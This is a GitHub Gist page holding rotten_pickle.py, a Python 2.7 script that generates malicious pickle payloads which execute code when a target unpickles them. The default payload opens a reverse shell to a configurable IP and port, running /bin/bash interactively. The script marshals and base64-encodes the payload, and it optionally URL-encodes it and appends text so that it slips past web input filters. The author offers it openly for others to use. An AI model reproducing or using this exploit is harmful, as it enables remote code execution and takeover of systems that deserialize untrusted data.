Last active
May 13, 2021 09:18
-
-
Save bgrewell/ba619281070cc6185d81e32791a2289e to your computer and use it in GitHub Desktop.
This Gist creates payloads to exploit pythons pickle function. It is pre-setup to create reverse shells but could be tweaked for whatever fun uses you can think of.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import marshal | |
import urllib | |
import base64 | |
import os | |
""" | |
Script: rotten_pickle.py | |
Date: 5/4/2018 | |
Author: Benjamin Grewell | |
Purpose: This script creates a reverse shell that will be executed when the python pickle package attempts to unpickle it. | |
This script can pickle any python code and execute it on the target when it is unpickled as long as the target has whatever | |
modules you try to import. This code base64 encodes the python code so that it can be passed around as ASCII/Unicode text. | |
It optionally URL encodes it so that it can be submitted through webforms ect. | |
Notes: This code is written for Python 2.7, it should work in Python 3 with a change in the code to grab the wrappers function | |
code, I think it would just be changing wrapper.func_code to wrapper.__code__ or something, I haven't tested since I am | |
writing this for a quick test and don't have time, at some point if I revisit this code i'll check and update but be warned | |
this was quickly written "throw away" code I figured I would post for others to use if it fit their needs. | |
""" | |
""" | |
### USER EDITABLE SETTINGS ### | |
CUSTOM_APPEND = [string] custom text (or instructions) to include, this can be useful for bypassing filtering on web inputs) | |
URL_ENCODE = [bool] URL encode the resulting payload | |
LINE_ENDINGS = [string] characters to use for line endings. If these don't match the target you can get weird import errors. | |
SAFE_CHARS = [string] set of characters to not URL encode. | |
""" | |
CUSTOM_APPEND = "put_some_extra_text_to_pass_filters_here" | |
URL_ENCODE = True | |
LINE_ENDINGS = "\n" | |
SAFE_CHARS = "()" | |
""" | |
This is the main skeleton for building our payloads. It will be modified to include our custom function(s) in the wrapper | |
below. Do not modify this unless you know what you are doing. | |
""" | |
SKELETON = '''ctypes | |
FunctionType | |
(cmarshal | |
loads | |
(cbase64 | |
b64decode | |
(S'{0}' | |
tRtRc__builtin__ | |
globals | |
(tRS'' | |
tR(tR.{1} | |
''' | |
def wrapper(): | |
""" | |
Your custom code goes inside here. You could have multiple functions etc. The default reverse shell code is fairly | |
simple and doesn't make use of any functions. You can see an example of using functions in the commented out section | |
below. | |
""" | |
# import os | |
# def say_hi(): | |
# print("hello") | |
# def get_shell(): | |
# os.system('/bin/sh') | |
# | |
# say_hi() | |
# get_shell() | |
import socket, subprocess, os | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect(("192.168.0.1", 1234)) # EDIT: Change to your IP and Port | |
os.dup2(s.fileno(), 0) | |
os.dup2(s.fileno(), 1) | |
os.dup2(s.fileno(), 2) | |
p = subprocess.call(["/bin/bash", "-i"]) # EDIT: Change to whatever shell you want | |
""" | |
Get a base64 encoded version of our wrapper code. | |
""" | |
wrapper_payload = base64.b64encode(marshal.dumps(wrapper.func_code)) | |
#print("wrapper_payload: {}".format(wrapper_payload)) | |
""" | |
Build our raw base64 payload using our wrapper payload and any custom append | |
""" | |
rotten_pickle = SKELETON.format(wrapper_payload, CUSTOM_APPEND).strip() | |
#print("rotten_pickle: {}".format(rotten_pickle)) | |
""" | |
URL encode our pickle if requested | |
""" | |
if URL_ENCODE: | |
rotten_pickle = urllib.quote_plus(rotten_pickle, safe=SAFE_CHARS) | |
#print("encoded_pickle: {}".format(rotten_pickle)) | |
""" | |
Swap out line endings (could do this in other places but it's easy enough here, although a little hacky and only modifies the line endings on urlencoded payloads) | |
""" | |
if "%0D%0A" in rotten_pickle: | |
# Windows style line endings | |
if not "\n" in LINE_ENDINGS: | |
rotten_pickle = rotten_pickle.replace("%0A", "") | |
if not "\r" in LINE_ENDINGS: | |
rotten_pickle = rotten_pickle.replace("%0D", "") | |
else: | |
# Unix style line endings | |
if "\r" in LINE_ENDINGS: | |
rotten_pickle = rotten_pickle.replace("%0A", "%0D%0A") | |
if not "\n" in LINE_ENDINGS: | |
rotten_pickle = rotten_pickle.replace("%0A", "") | |
print("final_pickle: {}".format(rotten_pickle)) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment